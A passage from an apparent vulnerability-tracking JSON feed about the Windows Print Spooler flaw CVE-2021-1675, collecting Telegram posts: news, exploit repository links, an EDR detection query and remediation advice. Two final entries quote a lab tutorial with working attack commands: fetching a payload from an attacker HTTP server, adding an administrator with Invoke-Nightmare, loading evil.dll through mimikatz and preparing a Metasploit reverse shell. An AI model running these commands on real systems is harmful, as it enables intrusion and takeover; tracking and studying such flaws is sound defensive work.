\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0628\u0648\u062f\u0647 \u0648 \u062a\u0645\u0627\u0645\u06cc \u0633\u06cc\u0633\u062a\u0645\u200c\u0639\u0627\u0645\u0644\u200c\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632\u06cc \u0631\u0627 \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc \u062f\u0647\u062f!\n\n\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631:\n\n\u2705 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675\n\n\u2705 https://github.com/afwu/PrintNightmare\n\n\u2705 https://github.com/cube0x0/CVE-2021-1675\n\n@KaitNews", "creation_timestamp": "2026-07-27T00:01:33.714587Z"}, {"uuid": "1a685f15-fceb-4e4e-a3d4-b0e80a607909", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/KaitNews/8918", "content": "\ud83d\udd30 This EDR query to detect successful exploitation:\n\nprocess_name:spoolsv.exe AND modload:kernelbase.dll AND modload:unidrv.dll  AND modload:C:\\Windows\\System32\\spool\\drivers\\x64\\3\\*\n\nPrintNightmare CVE-2021-1675\n\n@KaitNews", "creation_timestamp": "2026-07-27T00:01:33.749328Z"}, {"uuid": "bd3e7e99-70d8-4590-9d04-4633ad3bb282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/onelab1337/63", "content": "PoC exploit for CVE-2021-1675 RCE started circulating online\n\nProof-of-concept exploit code for CVE-2021-1675 flaw, an attacker could exploit it to compromise Windows systems. Proof-of-concept exploit code for the CVE-2021-1675 flaw has been published online, the flaw impacts the Windows Print Spooler service and could be exploited to compromise Windows systems. Microsoft addressed the flaw with the release of Microsoft June 2021 Patch Tuesday [\u2026]\nThe post PoC exploit for CVE-2021-1675 RCE started circulating online appeared first on Security Affairs....\n\nContinue reading at Security Affairs", "creation_timestamp": "2026-07-29T05:00:04.354718Z"}, {"uuid": "a00c4633-af7d-46f2-8944-aea2bac219a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/onelab1337/82", "content": "https://github.com/cube0x0/CVE-2021-1675", "creation_timestamp": "2026-07-29T05:00:04.387277Z"}, {"uuid": "858c9ad2-90f8-4801-90a1-0cb7122a344e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/onelab1337/103", "content": "https://github.com/LaresLLC/CVE-2021-1675", "creation_timestamp": "2026-07-29T05:00:04.427064Z"}, {"uuid": "b20b3274-c260-4215-bf59-fafc47e84348", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/KaitNews/8918", "content": "\ud83d\udd30 This EDR query to detect successful exploitation:\n\nprocess_name:spoolsv.exe AND modload:kernelbase.dll AND modload:unidrv.dll  AND modload:C:\\Windows\\System32\\spool\\drivers\\x64\\3\\*\n\nPrintNightmare CVE-2021-1675\n\n@KaitNews", "creation_timestamp": "2026-07-29T01:00:04.619179Z"}, {"uuid": "477b3d3d-badd-4bca-a22c-d2f2ce1fdf01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/KaitNews/8916", "content": "\u26a0\ufe0f \u0627\u0646\u062a\u0634\u0627\u0631 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0628\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc\n\nPrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0628\u0648\u062f\u0647 \u0648 \u062a\u0645\u0627\u0645\u06cc \u0633\u06cc\u0633\u062a\u0645\u200c\u0639\u0627\u0645\u0644\u200c\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632\u06cc \u0631\u0627 \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc \u062f\u0647\u062f!\n\n\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631:\n\n\u2705 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675\n\n\u2705 https://github.com/afwu/PrintNightmare\n\n\u2705 https://github.com/cube0x0/CVE-2021-1675\n\n@KaitNews", "creation_timestamp": "2026-07-29T01:00:04.663419Z"}, {"uuid": "c1dcf362-0889-4d64-936e-fe9e50a454d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/onelab1337/104", "content": "Da Lares Labs: Informa\u00e7\u00f5es de detec\u00e7\u00e3o e corre\u00e7\u00e3o para CVE-2021-1675 e CVE-2021-34527\nEste reposit\u00f3rio cont\u00e9m uma amostra EVTX do ataque CVE-2021-1675, bem como um arquivo de configura\u00e7\u00e3o m\u00ednimo do Sysmon que pode ser usado para gerar a telemetria relevante.\n\nObserve que essas regras podem ser contornadas - corrija conforme apropriado e desative o servi\u00e7o de spooler de impressora nos controladores de dom\u00ednio.\n\nTeste todas as corre\u00e7\u00f5es recomendadas antes de lan\u00e7ar para a produ\u00e7\u00e3o, pois pode haver consequ\u00eancias indesejadas como resultado dessas altera\u00e7\u00f5es de prote\u00e7\u00e3o. Escrevemos uma postagem de blog explicando o conte\u00fado deste reposit\u00f3rio e as informa\u00e7\u00f5es encontradas. Aqui: https://www.lares.com/blog/detection-and-mitigation-advice-for-printnightmare/\n\nSolu\u00e7\u00e3o Alternativa\nO patch lan\u00e7ado pela Microsoft infelizmente n\u00e3o corrige o problema, portanto, uma solu\u00e7\u00e3o alternativa pode ser aplicada desativando o servi\u00e7o de spooler da impressora. Veja como fazer isso no GPO e no PowerShell.\n\nRemo\u00e7\u00e3o de usu\u00e1rios autenticados do acesso compat\u00edvel anterior ao Windows 2000\nOutra corre\u00e7\u00e3o / solu\u00e7\u00e3o alternativa \u00e9 remover usu\u00e1rios autenticados \"Pre-Windows 2000 Compatible Access\" conforme descobertos por Dirk-jan .", "creation_timestamp": "2026-07-29T05:00:04.465727Z"}, {"uuid": "651b39cd-04e5-480a-aa66-86680f6954c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/reverseame/1665", "content": "Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) https://github.com/ollypwn/PrintNightmare", "creation_timestamp": "2026-07-29T12:02:52.977965Z"}, {"uuid": "cb484de8-43cc-4774-9ca4-c2f433fd97e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/reverseame/1423", "content": "Windows Print Spooler Elevation of Privilege vulnerability (CVE-2021-1675) explained https://thalpius.com/2021/07/16/windows-print-spooler-elevation-of-privilege-vulnerability-cve-2021-1675-explained/", "creation_timestamp": "2026-07-29T12:02:55.320527Z"}, {"uuid": "f807914e-23c1-417c-b779-952d2c1a7447", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/reverseame/1335", "content": "More details on CVE-2021-1675 >> https://twitter.com/gentilkiwi/status/1410621282446495749?s=20", "creation_timestamp": "2026-07-29T12:02:57.017676Z"}, {"uuid": "fd7a0a46-1432-4095-908e-f9534ad638de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/reverseame/1331", "content": "few detection tricks for the existing CVE-2021-1675 POCs:  https://twitter.com/mvelazco/status/1410291741241102338?s=09", "creation_timestamp": "2026-07-29T12:02:57.088183Z"}, {"uuid": "2ef17673-9815-44fd-bba2-5c8c5b693590", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/reverseame/1333", "content": "From Lares Labs: Detection & Remediation Information for CVE-2021-1675 & CVE-2021-34527 https://github.com/LaresLLC/CVE-2021-1675", "creation_timestamp": "2026-07-29T12:02:57.126426Z"}, {"uuid": "3e657d1e-3177-42f7-8e21-7fd991797cd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "Telegram/qGR49SFbKpxKTLOb8OqaUjBwAY4BRKVDacnjZqS22k5R", "content": "", "creation_timestamp": "2026-07-29T12:03:23.091882Z"}, {"uuid": "dd70c576-598d-4719-ad6e-aa8435c4519b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/reverseame/1331", "content": "few detection tricks for the existing CVE-2021-1675 POCs:  https://twitter.com/mvelazco/status/1410291741241102338?s=09", "creation_timestamp": "2026-07-30T00:02:46.507979Z"}, {"uuid": "c5c59a0e-415a-49d7-b89a-7d5afa9a0102", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/reverseame/1333", "content": "From Lares Labs: Detection & Remediation Information for CVE-2021-1675 & CVE-2021-34527 https://github.com/LaresLLC/CVE-2021-1675", "creation_timestamp": "2026-07-30T00:02:46.557228Z"}, {"uuid": "567491ee-e82d-4a69-86a5-97b21e50573f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/reverseame/1665", "content": "Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) https://github.com/ollypwn/PrintNightmare", "creation_timestamp": "2026-07-30T00:02:43.392720Z"}, {"uuid": "6b6b2675-859f-4010-af6e-5e23a8ccc539", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/reverseame/1423", "content": "Windows Print Spooler Elevation of Privilege vulnerability (CVE-2021-1675) explained https://thalpius.com/2021/07/16/windows-print-spooler-elevation-of-privilege-vulnerability-cve-2021-1675-explained/", "creation_timestamp": "2026-07-30T00:02:45.459203Z"}, {"uuid": "078e50d9-2237-47d7-9da4-256fcc77662a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/reverseame/1335", "content": "More details on CVE-2021-1675 >> https://twitter.com/gentilkiwi/status/1410621282446495749?s=20", "creation_timestamp": "2026-07-30T00:02:46.419094Z"}, {"uuid": "8afc2b12-dcdc-4163-a564-f40d9bf61433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/5363", "content": "Vulnerability Remediation Resources\nThe table below provides links to remediation sources for the top 10 exploited vulnerabilities\n  CVE-2021-44228\n  https://logging.apache.org/log4j/2.x/security.html\n \n CVE-2021-22005\nhttps://www.vmware.com/security/advisories/VMSA-2021-0020.html\n\n  CVE-2021-34527\n  https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527\n \n  CVE-2021-1675\n  https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675\n  \n   CVE-2021-27065\n   https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065\n   \n CVE-2021-36934\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36934\n  \n  CVE-2021-40444\n  https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444\n  \nCVE-2021-26855\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855\n \n  CVE-2021-22205\n   https://gitlab.com/gitlab-org/gitlab/-/issues/327121\n  \n  CVE-2021-21551\n https://www.dell.com/support/kbdoc/en-us/000186019/dsa-2021-088-dell-client-platform-security-up-date-for-dell-driver-insufficient-access-control-vulnerability", "creation_timestamp": "2026-09-01T17:00:32.642878Z"}, {"uuid": "07f6ffba-1042-4c63-9408-0b1cc759b273", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/5362", "content": "CVE-2021-44228 (Log4Shell): Apache Log4j2 - Remote Code Execution (RCE)\n\nCVE-2021-22005: VMware vCenter Server - Arbitrary File Upload\n\nCVE-2021-34527 (PrintNightmare): Windows Print Spooler - RCE\n\nCVE-2021-1675 (PrintNightmare): Windows Print Spooler - Elevation of Privilege\n\nCVE-2021-27065 (ProxyLogon): Microsoft Exchange Server - RCE\n\nCVE-2021-36934: Windows - Elevation of Privilege \n\nCVE-2021-40444: Microsoft MSHTML - RCE\n\nCVE-2021-26855 (ProxyLogon): Microsoft Exchange Server - RCE\n\nCVE-2021-22205: GitLab CE/EE - Remote Code Execution\n\nCVE-2021-21551: Dell - Insufficient Access Control", "creation_timestamp": "2026-09-01T17:00:32.910206Z"}, {"uuid": "40da0940-368e-41d3-be36-59b85032e444", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/4242", "content": "exploit\nCVE-2021-26084:\nConfluence Server Webwork OGNL Injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\n]-> https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\n]-> RCE PoC:\nhttps://github.com/FanqXu/CVE-2021-26084\n\nAnalytics\nTop 10 Most Used Vulns of the Month (Aug 1-31)\nCVE-2021-1675 - Print Spooler EoP\nCVE-2021-31956 - Win NTFS EoP\nCVE-2021-36958 - Print Spooler RCE\nCVE-2021-39137 - A consensus-vuln in go-eth\nCVE-2021-22937 - Pulse ConnSecure RCE\nCVE-2021-34473 - Pre-auth Path Confusion\nhttps://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell\nCVE-2021-21225 - Vuln in V8's Array.prototype.concat\nCVE-2021-20090 - Path traversal in Buffalo routers\nCVE-2021-26084 - Confluence Server Webwork OGNL Inj\nCVE-2021-3711 - Vulns in OpenSSL\nhttps://nakedsecurity.sophos.com/2021/08/27/big-bad-decryption-bug-in-openssl-but-no-cause-for-alarm", "creation_timestamp": "2026-09-01T17:00:41.680486Z"}, {"uuid": "17b2b33f-9a8c-4ad9-abe8-f3f4ff7f49b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/3613", "content": "\ud83d\udd25 Researchers publish a proof-of-concept exploit for a critical vulnerability (CVE-2021-1675) affecting Microsoft Windows operating systems\nDetails \u2014 https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html\n\nInternational law enforcement agencies seized the domain, servers and logs of the Russia-based DoubleVPN service for providing a safe haven for cybercriminals to cover their tracks.\nRead: https://thehackernews.com/2021/06/authorities-seize-doublevpn-service.html", "creation_timestamp": "2026-09-01T17:00:46.957634Z"}, {"uuid": "89813aa9-112b-49e0-b174-ce1ebe09c7bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/3702", "content": "#cve #windows #spooler #rce\n\nPrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service\n\nSource : \nhttps://github.com/afwu/PrintNightmare", "creation_timestamp": "2026-09-01T17:00:46.341807Z"}, {"uuid": "01da56cd-7ead-4082-91ef-85eb62b84a0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/cissp/3623", "content": "\ud83d\udd25 WATCH OUT! Microsoft warns of critical PrintNightmare RCE vulnerability (CVE-2021-34527) being exploited in the wild.\n\nDetails: https://thehackernews.com/2021/07/microsoft-warns-of-critical.html\n\nIt is separate from the Windows Print Spooler issue (CVE-2021-1675) Microsoft patched recently.\n\n\nFBI and NSA reveal hacking techniques used by Russian military hackers to target U.S. and European military, government, and political entities.\nDetails \u2014 https://thehackernews.com/2021/07/nsa-fbi-reveal-hacking-methods-used-by.html", "creation_timestamp": "2026-09-01T17:00:46.522239Z"}, {"uuid": "a3d3cfad-84a1-4bac-8435-433367f61265", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/17020", "content": "Black Hat Ethical Hacking\nMicrosoft: New Unpatched Bug in Windows Print Spooler\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft: New Unpatched Bug in Windows Print SpoolerPost Views: 50 \nReading Time: 1 Minute\nMicrosoft has warned of yet another vulnerability that\u2019s been discovered in its Windows Print Spooler that can allow attackers to elevate privilege to gain full user rights to a system.\nThe advisory comes on the heels of patching two other remote code-execution (RCE) bugs found in the print service that collectively became known as PrintNightmare.\n\nThe company released the advisory\u00a0late Thursday for the latest bug, a Windows Print Spooler elevation-of-privilege vulnerability tracked as CVE-2021-34481. Microsoft credited Dragos vulnerability researcher Jacob Baines for identifying the issue.\n\nThe vulnerability \u201cexists when the Windows Print Spooler service improperly performs privileged file operations,\u201d according to Microsoft.\n\nAttackers who successfully exploit the bug can run arbitrary code with SYSTEM privileges, allowing them to install programs, view, change or delete data, or create new accounts with full user rights, the company said.\n\nTo work around the bug, administrators and users should stop and disable the Print Spooler service, Microsoft said. Slightly Less of a \u2018PrintNightmare\u2019The vulnerability (CVE-2021-1675) is the latest in a flurry of problems discovered in Windows Print Spooler, but seems slightly less dangerous, as it can only be exploited locally. It rates 7.8 out of 10 on the CVSS vulnerability-severity scale.\n\nIndeed, Baines told BleepingComputer\u00a0that while the bug is print driver-related, \u201cthe attack is not really related to PrintNightmare.\u201d Baines plans to disclose more about the little-known vulnerability in an upcoming presentation\u00a0at DEF CON in August.\nSee Also: Kaseya ransomware supply chain attack: What you need to know The entire saga surrounding Windows Print Spooler began Tuesday, June 30, when a proof-of-concept (PoC) for an initial vulnerability in the print service was dropped on GitHub showing how an attacker can exploit the flaw to take control of an affected system.\n\nThe response to the situation soon turned into confusion. Though Microsoft released an update for CVE-2021-1675\u00a0in it its usual raft of monthly Patch Tuesday updates, fixing what it thought was a minor elevation-of-privilege vulnerability, the listing was updated later in the week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, soon after it became clear to many experts that Microsoft\u2019s initial patch didn\u2019t fix the entire problem. The federal government even stepped in last Thursday, when CERT/CC offered its own mitigation\u00a0for PrintNightmare that Microsoft has since adopted \u2014 advising system administrators to disable the Windows Print Spooler service in Domain Controllers and systems that do not print. See Also: Offensive Security Tool: Veil To further complicate matters, Microsoft also last Thursday dropped a notice\u00a0for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appeared to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527. The company explained that the second bug was similar to the earlier PrintNightmare vulnerability but also its own distinct entity.\n\nEventually, Microsoft last Wednesday released an emergency cumulative patch\u00a0for both PrintNightmare bugs that included all previous patches as well as protections for CVE-2021-1675 as well as a new fix for CVE-2021-34527. See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 Hacker However, th[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:33.004726Z"}, {"uuid": "87effacf-0614-4642-b702-2e9f974871e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/16793", "content": "WINDOWS PRINT SPOOLER ELEVATION OF PRIVILEGE VULNERABILITY (CVE-2021-1675) EXPLAINED\nhttps://www.reddit.com/r/redteamsec/comments/olp1j7/windows_print_spooler_elevation_of_privilege/\n\nI guess most of you heard about the Windows Print Spooler Elevation of Privilege vulnerability (CVE-2021-1675) in the last couple of weeks. It is a vulnerability that gives an attacker high privileges when they own a regular user account on all print spooler service-enabled devices. Unfortunately, it runs on all Windows Operating Systems by default. In this blog post, I will go into the technical aspect of this vulnerability. Remember that CVE-2021-1675 is NOT the same as the Printnightmare (CVE-2021-34527) vulnerability. Thalpius Blog Post (https://thalpius.com/2021/07/16/windows-print-spooler-elevation-of-privilege-vulnerability-cve-2021-1675-explained/)    submitted by    /u/thalpius  (https://www.reddit.com/user/thalpius) \n [link] (https://www.reddit.com/r/redteamsec/comments/olp1j7/windows_print_spooler_elevation_of_privilege/)   [comments] (https://www.reddit.com/r/redteamsec/comments/olp1j7/windows_print_spooler_elevation_of_privilege/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:33.236559Z"}, {"uuid": "89060f6b-bf95-4a92-a6b5-b6e8f1d18d17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/43511", "content": "FdyzeiMeaOByoi6UxaY1rYpMd-Cl25S3av86e5GqOsBg7QqegONtaIzAnkPy9JGnAeKeX2jHcqkmmKLbJRjFSA34EdOC3rmt-0G-XPjEtqE19Lb7l0AdV0kgxlBiOAe64zjyHg1ZQ38ccDB1MpeJ89gmmS3kLLImaxgxTc6Q=s16000 \n\nNow, once the victim is compromised, we can upload this ps1 file in \\Users\\Public directory using IWR and setting up a python http server in the CVE-2021-1675 directory.\ncd CVE-2021-1675\npython3 -m http.server 80\npowershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \\Users\\Public\\cve.ps1\ncd C:\\Users\\Public\ndir \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhV5QX_bfm1HwRTOt7-bbOEh4acNDeHiLp_mWoZXllcQaBEJgPwv5T4Z1b7XSIcG3ep9FMEZsNAfzjH47LQwg2K9_0H1lsYRhZpHw7u_p3U9LOhy87LSPGlH68kYoELn6EnPkOp7SRsweQFAjeZGvYvz4dTs4abBpB7B3yvZEWR0jeLrQG4DYfb5Kcg-w=s16000 \n\nNow, we can execute this ps1 file using powershell. This powershell script will help us in adding a new user in the administrator group using the credentials specified. For that, we need to spawn interactive powershell and Invoke the module like so:\npowershell -ep bypass\nImport-Module .\\cve.ps1\nInvoke-Nightmare -NewUser \"harsh\" -NewPassword \"123\" -DriverName \"PrintMe\" \nhttps://blogger.googleusercontent.com/img/a/AVvXsEiMmenFoAuIRtWOt1XV3NPSMyjB_EeKHQW71ycKwtDxuRzCbezsomgzDP1R94z71PIWxMFQc_3ASWzbG_uvlCOqpivVmXj6l8x_Edpg92Qz8KVm203ho0-NcF7TWjmRYSta14levAffd6xUTTXJ2Z0rcaYg3TSknkcLAyLdeGlIxCU7HrLazhl5kWdTcA=s16000 \n\nAs you can see, the script has made a custom DLL that adds a new user \u201charsh\u201d with password 123 in admin group and the script has exploited print spool.\nnet localgroup administrator \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjm476TN7H3YlvqxDa1dYq4BrUhJUHeUM6B7XA05xAhW9XD3aE0yLp9N4Kphis7HZy_mMiO0GazkeL6sRW8vXJm1smajhy1UJwKOhfpIYKwffUrVISRkd7-e7DdOmuktmfeWYDcY4wigV3HDWXtxrUHN1x6BaC3DwQ-yFRfZyJjC7HG3N7TbYjoCFKYTw=s16000 \n\nWe can confirm this by logging in to the victim using psexec.\npython3 psexec.py harsh:123@192.168.1.190 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhXwS2ULWBm-dVWr2ZZ3fMPCZ3mtvMXMV7a7QNievbmtA0uuvGiuDwjnNBKSSdSaEsT45xbtNXUq6QAmuzftzuPcTny1CGqzUmRYjtmw_tz9EeKiKWe_mk0bn9nyn_XJwTlYM_unfZp6jQtDCQiqz6B0Gym7uUDmolyB3My1fSKoiwLRzCtiZv7HqC3tA=s16000 \n\nWe are able to log in with the credentials and can confirm using net user command that harsh is infact a member of administrators now. Method 3 \u2013 Printnightmare LPE using MimikatzWhen the PoC came on the internet, a new mimikatz plugin got added as a ritual in the misc section (misc::printnightmare). To exploit using mimikatz, we will use our existing DLL file \u201cevil.dll\u201d and also, we need our SMBserver running on the existing configuration. Now, we will download mimikatz.exe on our kali and start python HTTP server.\npython3 -m http.server 80\npowershell wget http://192.168.1.2/mimikatz.exe -O \\users\\Public\\mimikatz.exe\nmisc::printnightmare /library:\\\\192.168.1.2\\share\\evil.dll /authuser:ignite /authpassword:123 /try:50 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjbPSehsyW5w9-_styKI9fjXjcQxml03A699x7Tvx4YipBMDT7pMyQREXWO81mhpDscJx50ZNFPgXa7lr08Rqxq1aOIpFFUubIAb3-xuhKE_q2kQ-jI8i6_NVEn25Bxe_-E38iiqygysu5p4qKMBTIFT2SnrVpgbGcRmkIHgK0bJhrlpV1E7RkDsSRFcw=s16000 \n\nAs mimikatz has confirmed the execution has been successful. It throws an exception (probably because of some characters in the DLL) but the DLL has worked anyway and a reverse shell has been received on multi/handler.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEj6yzSnwBZy4M3Cxais8__2qdWrLRnohzaf0NvIni5rdqA4cLYNA4W5MzUtE1sx0_pRvvoxn7PUFH8EQMCrb0DXjnxN7lk797FjBg91YrAD4no7xhXRX_PadTQjUo6qp8QW193t6Rh79vebv1FTDKv68lyjf5_3WjtuEeQEWg-AbldS7P_DJ2YbtPuMyw=s16000 \n\nMake sure to set up a handler on Metasploit before running this command. If everything goes right, you shall see a reverse shell!\n\nAnd thus, we have conducted privilege escalation by exploiting PrintNightmare vulnerability. Patch StatusMicrosoft released out of band patches to deal with this vulnerability which can be found on the MSRC bulletin adv[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:53.647963Z"}, {"uuid": "9a8b847a-fb5f-4518-baa4-95739a9c9b57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/43510", "content": "for DLL_PATH argument as I am not running the exploit, I just have to scan. In our testing, we found Metasploit\u2019s printnightmare to be unreliable and hence, we are not showing this technique here. You can test it on your own and see if it works for you though. This run confirmed that victim is vulnerable to printnightmare.\nuse auxiliary/admin/dcerpc/cve_2021_1675_printnightmare\nset RHOSTS 192.168.1.190\nset SMBUser ignite\nset SMBPass 123\nset DLL_PATH /\nexploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEglBTn-7Q406EupEG4rqdccohxaMM0taLtCcXX9Po0rGiAMpm7HwuHGPRsd8LPYPWb2iHCp_tuZG8toHlIyWPg1Xz-LPDph7vleOT01kFAuLQuQEbQtYYAKeGsp-utOY8a3ZoQRZag3Sq6QxjZpbOvj96HTPkxzziu7N8O7j52BidybdgsB17MOjlZzHg=s16000 \n\nWe now start a handler beforehand prior to executing our DLL file using the exploit.\nuse multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset LHOST 192.168.1.2\nset 